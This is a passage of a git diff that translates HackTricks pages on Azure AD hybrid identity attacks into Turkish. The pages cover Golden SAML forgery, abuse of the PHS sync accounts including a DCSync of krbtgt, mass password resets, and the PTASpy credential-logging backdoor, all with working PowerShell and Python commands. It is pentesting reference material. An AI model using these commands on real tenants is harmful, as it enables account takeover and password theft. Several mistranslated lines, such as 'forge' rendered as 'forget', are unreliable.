için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik İddası İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir. +3. IdP devralır, kullanıcıyı kimlik doğrular. Kimlik doğrulama sonrası, IdP tarafından bir SAMLResponse oluşturulur ve kullanıcı aracılığıyla SP'ye iletilir. +4. Son olarak, SP SAMLResponse'yi değerlendirir. Başarıyla doğrulanırsa, IdP ile bir güven ilişkisi olduğunu gösterir ve kullanıcıya erişim izni verilir. Bu, oturum açma sürecinin tamamlandığını işaret eder ve kullanıcı hizmeti kullanabilir. -**If you want to learn more about SAML authentication and common attacks go to:** +**SAML kimlik doğrulaması ve yaygın saldırılar hakkında daha fazla bilgi edinmek istiyorsanız:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,54 +37,53 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS is a claims-based identity model. -- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet." -- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP. -- A user is identified by ImmutableID. It is globally unique and stored in Azure AD. -- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user. -- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) +- AD FS, iddialara dayalı bir kimlik modelidir. +- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddialara dayalı uygulamalara erişimi yetkilendirmek için kullanılır." +- Bir kullanıcı için iddialar SAML token'ları içinde yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır. +- Bir kullanıcı ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de saklanır. +- ImmutableID, kullanıcı için yerel ortamda ms-DS-ConsistencyGuid olarak saklanır ve/veya kullanıcının GUID'inden türetilebilir. +- Daha fazla bilgi için [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) adresine bakın. -**Golden SAML attack:** +**Golden SAML saldırısı:** -- In ADFS, SAML Response is signed by a token-signing certificate. -- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD! -- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response. -- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine. -- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +- ADFS'de, SAML Yanıtı bir token imzalama sertifikası ile imzalanır. +- Sertifika tehlikeye girerse, Azure AD'ye herhangi bir kullanıcı olarak kimlik doğrulamak mümkündür! +- PTA istismarımız gibi, bir kullanıcı için şifre değişikliği veya MFA'nın etkisi olmayacaktır çünkü kimlik doğrulama yanıtını sahteleyerek işlem yapıyoruz. +- Sertifika, DA ayrıcalıkları ile AD FS sunucusundan çıkarılabilir ve ardından herhangi bir internet bağlantılı makineden kullanılabilir. +- Daha fazla bilgi için [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) adresine bakın. ### Golden SAML -The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP. +Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu işlem **IdP'nin özel anahtarı** kullanılarak gerçekleştirilir. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin gerçekliğini doğrulamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder. -A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP. +Kullanıcının kimliğini ve izinlerini doğrulayan anahtarın (golden ticket'lar için KRBTGT, golden SAML için token imzalama özel anahtarı) manipüle edilebileceği [golden ticket saldırısı](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) ile bir paralellik kurulabilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır. -Golden SAMLs offer certain advantages: +Golden SAML'ler belirli avantajlar sunar: -- They can be **created remotely**, without the need to be part of the domain or federation in question. -- They remain effective even with **Two-Factor Authentication (2FA)** enabled. -- The token-signing **private key does not automatically renew**. -- **Changing a user’s password does not invalidate** an already generated SAML. +- **Uzakta** oluşturulabilirler, ilgili alan veya federasyonun parçası olma gerekliliği yoktur. +- **İki Aşamalı Kimlik Doğrulama (2FA)** etkin olsa bile etkili kalırlar. +- Token imzalama **özel anahtarı otomatik olarak yenilenmez**. +- **Bir kullanıcının şifresini değiştirmek,** zaten oluşturulmuş bir SAML'yi geçersiz kılmaz. #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation. +[Active Directory Federation Services (AD FS)]() Microsoft'un güvenilir iş ortakları (federasyon) arasında **kimlik bilgilerini güvenli bir şekilde değiştirmeyi** kolaylaştıran bir hizmetidir. Temelde, bir alan hizmetinin, bir federasyon içindeki diğer hizmet sağlayıcılarla kullanıcı kimliklerini paylaşmasına olanak tanır. -With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key. +AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kabul ettiğinde, bu zafiyet, AWS ortamında **herhangi bir izin elde etme** potansiyeli taşır. Saldırı, SAML nesnelerini imzalamak için kullanılan **özel anahtarı** gerektirir; bu, golden ticket saldırısında KRBTGT'yi gerektirmeye benzer. AD FS kullanıcı hesabına erişim, bu özel anahtarı elde etmek için yeterlidir. -The requirements for executing a golden SAML attack include: +Golden SAML saldırısını gerçekleştirmek için gerekenler şunlardır: -- **Token-signing private key** -- **IdP public certificate** -- **IdP name** -- **Role name (role to assume)** -- Domain\username -- Role session name in AWS -- Amazon account ID +- **Token imzalama özel anahtarı** +- **IdP genel sertifikası** +- **IdP adı** +- **Rol adı (üstlenilecek rol)** +- Alan\kullanıcı adı +- AWS'deki rol oturum adı +- Amazon hesap kimliği -_Only the items in bold are mandatory. The others can be filled in as desired._ - -To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user: +_Sadece kalın yazılı olanlar zorunludur. Diğerleri istenildiği gibi doldurulabilir._ +**Özel anahtarı** elde etmek için **AD FS kullanıcı hesabına** erişim gereklidir. Buradan, özel anahtar [mimikatz](https://github.com/gentilkiwi/mimikatz) gibi araçlar kullanılarak **kişisel depodan dışa aktarılabilir**. Diğer gerekli bilgileri toplamak için Microsoft.Adfs.Powershell snapin'ini şu şekilde kullanabilirsiniz, ADFS kullanıcısı olarak oturum açtığınızdan emin olun: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -98,9 +97,7 @@ To acquire the **private key**, access to the **AD FS user account** is necessar # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` - -With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:** - +Tüm bilgilerle, taklit etmek istediğiniz kullanıcı olarak geçerli bir SAMLResponse unutmak mümkündür [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -115,11 +112,9 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
-### On-prem -> cloud - +### Yerel -> bulut ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -138,9 +133,7 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` - -It's also possible to create ImmutableID of cloud only users and impersonate them - +Aynı zamanda yalnızca bulut kullanıcılarının ImmutableID'sini oluşturmak ve onları taklit etmek de mümkündür. ```powershell # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) @@ -152,14 +145,9 @@ Export-AADIntADFSSigningCertificate # Impersonate the user Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose ``` - -## References +## Referanslar - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 0bf61effe..750a215b0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -1,46 +1,45 @@ -# Az - PHS - Password Hash Sync +# Az - PHS - Parola Hash Senkronizasyonu {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance. +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Parola hash senkronizasyonu**, hibrit kimlik elde etmek için kullanılan oturum açma yöntemlerinden biridir. **Azure AD Connect**, bir kullanıcının parolasının hash'inin, on-premises Active Directory örneğinden bulut tabanlı Azure AD örneğine senkronize edilmesini sağlar.
-It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD. +Bu, şirketler tarafından on-prem AD'yi Azure AD ile senkronize etmek için kullanılan **en yaygın yöntemdir**. -All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\ -Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD. +Tüm **kullanıcılar** ve **parola hash'lerinin hash'i** on-prem'den Azure AD'ye senkronize edilir. Ancak, **düz metin parolalar** veya **orijinal** **hash'ler** Azure AD'ye gönderilmez.\ +Ayrıca, **Yerleşik** güvenlik grupları (alan yöneticileri gibi...) **Azure AD'ye senkronize edilmez**. -The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password. +**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Bu nedenle, **on-prem parolasının süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak **Azure kaynaklarına erişmeye devam edebilir**. -When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**. +Bir on-prem kullanıcısı bir Azure kaynağına erişmek istediğinde, **kimlik doğrulama Azure AD'de gerçekleşir**. -**PHS** is required for features like **Identity Protection** and AAD Domain Services. +**PHS**, **Kimlik Koruma** ve AAD Alan Hizmetleri gibi özellikler için gereklidir. -## Pivoting +## Pivotlama -When PHS is configured some **privileged accounts** are automatically **created**: +PHS yapılandırıldığında bazı **ayrıcalıklı hesaplar** otomatik olarak **oluşturulur**: -- The account **`MSOL_`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**. -- An account **`Sync__installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD. +- **`MSOL_`** hesabı, on-prem AD'de otomatik olarak oluşturulur. Bu hesaba **Dizin Senkronizasyon Hesapları** rolü verilir (bkz. [belgeler](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), bu da onun **on-prem AD'de çoğaltma (DCSync) izinlerine sahip olduğu anlamına gelir**. +- Azure AD'de **`Sync__installationID`** adlı bir hesap oluşturulur. Bu hesap, Azure AD'deki **HERHANGİ bir kullanıcının** (senkronize edilmiş veya yalnızca bulut) parolasını **sıfırlayabilir**. -Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\ -The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. +Önceki iki ayrıcalıklı hesabın parolaları, **Azure AD Connect'in kurulu olduğu sunucudaki bir SQL sunucusunda** **saklanır**. Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\ +Veritabanası `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` konumundadır. -It's possible to extract the configuration from one of the tables, being one encrypted: +Şifrelenmiş olan bir tablo üzerinden yapılandırmayı çıkarmak mümkündür: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD. +**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve **on-prem AD'deki `MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içerir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye ayrıcalıklı erişim sağlamak mümkündür. -You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakış bu konuşmada bulunmaktadır](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Finding the **Azure AD connect server** - -If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with: +### **Azure AD connect sunucusunu bulma** +Eğer **Azure AD connect'in kurulu olduğu sunucu** alan katılmışsa (belgelerde önerilmektedir), onu bulmak için: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,9 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` - -### Abusing MSOL\_\* - +### MSOL\_*'yi Kötüye Kullanma ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -59,14 +56,12 @@ Get-AADIntSyncCredentials runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` - > [!CAUTION] -> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials. +> Bu kimlik bilgilerini elde etmek için [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) aracını da kullanabilirsiniz. -### Abusing Sync\_\* - -Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators) +### Sync\_\* İstismarı +**`Sync_*`** hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür. ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -87,9 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` - -It's also possible to **modify the passwords of only cloud** users (even if that's unexpected) - +Aynı zamanda **sadece bulut** kullanıcılarının şifrelerini değiştirmek de mümkündür (bu beklenmedik olsa bile) ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -98,15 +91,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` - -It's also possible to dump the password of this user. +Kullanıcının şifresini dökmek de mümkündür. > [!CAUTION] -> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc. +> Başka bir seçenek, **Sync** kullanıcısının **izinlere** sahip olduğu bir **hizmet ilkesi** için **ayrıcalıklı izinler atamak** ve ardından **o hizmet ilkesine erişmek** olarak privesc yöntemidir. ### Seamless SSO -It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in: +PHS ile Seamless SSO kullanmak mümkündür, bu da diğer kötüye kullanımlara açıktır. Bunu kontrol edin: {{#ref}} seamless-sso.md @@ -120,7 +112,3 @@ seamless-sso.md - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index f6edf1214..e1c367654 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -2,61 +2,57 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**. +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication, kullanıcılarınızın **hem yerel hem de bulut tabanlı uygulamalara aynı şifreleri kullanarak giriş yapmalarını** sağlar. Bu özellik, kullanıcılarınıza daha iyi bir deneyim sunar - hatırlanacak bir şifre daha az ve IT yardım masası maliyetlerini azaltır çünkü kullanıcılarınızın giriş yapmayı unutma olasılığı daha düşüktür. Kullanıcılar Azure AD kullanarak giriş yaptığında, bu özellik **kullanıcıların şifrelerini doğrudan yerel Active Directory'nizle doğrular**. -In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS. +PTA'da **kimlikler** **senkronize** edilir ancak **şifreler** PHS'deki gibi **senkronize edilmez**. -The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC). +Kimlik doğrulama yerel AD'de doğrulanır ve bulutla iletişim, **yerel bir sunucuda** çalışan bir **kimlik doğrulama ajanı** tarafından gerçekleştirilir (yerel DC'de olması gerekmez). -### Authentication flow +### Kimlik Doğrulama Akışı
-1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password** -2. The **credentials** are **encrypted** and set in a **queue** in Azure AD -3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.** -4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user. +1. Kullanıcı **giriş yapmak** için **Azure AD'ye** yönlendirilir, burada **kullanıcı adı** ve **şifre** gönderir. +2. **Kimlik bilgileri** **şifrelenir** ve Azure AD'de bir **kuvvet** içine yerleştirilir. +3. **Yerel kimlik doğrulama ajanı**, kuyruktan **kimlik bilgilerini** toplar ve **şifreler**. Bu ajana **"Pass-through authentication agent"** veya **PTA ajanı** denir. +4. **Ajan**, kimlik bilgilerini **yerel AD** ile doğrular ve **yanıtı** **Azure AD'ye geri** gönderir; eğer yanıt olumluysa, **kullanıcının girişini tamamlar**. > [!WARNING] -> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\ -> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key). +> Eğer bir saldırgan **PTA'yı ele geçirirse**, kuyruktaki tüm **kimlik bilgilerini** (şifrelenmemiş olarak) **görebilir**.\ +> Ayrıca AzureAD'ye **herhangi bir kimlik bilgisini doğrulayabilir** (Skeleton key'e benzer bir saldırı). -### On-Prem -> cloud - -If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication): +### Yerel -> bulut +Eğer **PTA** **ajanı** çalışan **Azure AD Connect sunucusuna** **yönetici** erişiminiz varsa, **Tüm şifreleri** doğrulayacak bir **arka kapı** **eklemek için** **AADInternals** modülünü kullanabilirsiniz: ```powershell Install-AADIntPTASpy ``` - > [!NOTE] -> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). - -It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed: +> Eğer **kurulum başarısız olursa**, bu muhtemelen eksik [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe) kaynaklıdır. +Ayrıca, **önceki arka kapının kurulu olduğu makinede** aşağıdaki cmdlet'i kullanarak PTA ajanına gönderilen düz metin şifrelerini **görmek** de mümkündür: ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` - This backdoor will: -- Create a hidden folder `C:\PTASpy` -- Copy a `PTASpy.dll` to `C:\PTASpy` -- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process +- Gizli bir klasör oluşturacak `C:\PTASpy` +- `PTASpy.dll` dosyasını `C:\PTASpy`'ye kopyalayacak +- `PTASpy.dll` dosyasını `AzureADConnectAuthenticationAgentService` sürecine enjekte edecek > [!NOTE] -> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed. +> AzureADConnectAuthenticationAgent servisi yeniden başlatıldığında, PTASpy "boşaltılır" ve yeniden yüklenmesi gerekir. ### Cloud -> On-Prem > [!CAUTION] -> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.** +> Bulutta **GA ayrıcalıkları** alındıktan sonra, **saldırgan kontrolündeki bir makinede** yeni bir PTA ajanı **kaydetmek** mümkündür. Ajan **kurulduktan** sonra, **herhangi bir şifre** kullanarak **kimlik doğrulama** yapmak için **önceki** adımları **tekrarlayabiliriz** ve ayrıca, **şifreleri düz metin olarak alabiliriz.** ### Seamless SSO -It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in: +PTA ile Seamless SSO kullanmak mümkündür, bu da diğer kötüye kullanımlara karşı savunmasızdır. Bunu kontrol edin: {{#ref}} seamless-sso.md @@ -68,7 +64,3 @@ seamless-sso.md - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 289951b91..ffa4b2aef 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -2,30 +2,29 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components. +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO), **kullanıcıları kurumsal ağınıza bağlı kurumsal cihazlarında otomatik olarak oturum açtırır**. Etkinleştirildiğinde, **kullanıcıların Azure AD'ye oturum açmak için şifrelerini girmeleri gerekmez** ve genellikle kullanıcı adlarını bile girmeleri gerekmez. Bu özellik, kullanıcılarınıza ek bir yerel bileşen gerektirmeden bulut tabanlı uygulamalarınıza kolay erişim sağlar.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**. +Temelde Azure AD Seamless SSO, **kullanıcıları** **yerel bir alan bağlı PC'de** **oturum açtırır**. -It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). +Bu, hem [**PHS (Şifre Hash Senkronizasyonu)**](phs-password-hash-sync.md) hem de [**PTA (Geçiş Kimlik Doğrulama)**](pta-pass-through-authentication.md) tarafından desteklenmektedir. -Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration. +Masaüstü SSO, kimlik doğrulama için **Kerberos** kullanmaktadır. Yapılandırıldığında, Azure AD Connect, yerel AD'de **AZUREADSSOACC`$` adında bir bilgisayar hesabı oluşturur**. `AZUREADSSOACC$` hesabının şifresi, yapılandırma sırasında **Azure AD'ye düz metin olarak gönderilir**. -The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets. +**Kerberos biletleri**, şifrenin **NTHash (MD4)** kullanılarak **şifrelenir** ve Azure AD, gönderilen şifreyi biletleri şifrelerini çözmek için kullanır. -**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO. +**Azure AD**, Kerberos **biletlerini** kabul eden bir **uç nokta** (https://autologon.microsoftazuread-sso.com) sunar. Alan bağlı makinenin tarayıcısı, SSO için bu uç noktaya biletleri iletir. -### On-prem -> cloud - -The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**: +### Yerel -> bulut +Kullanıcının 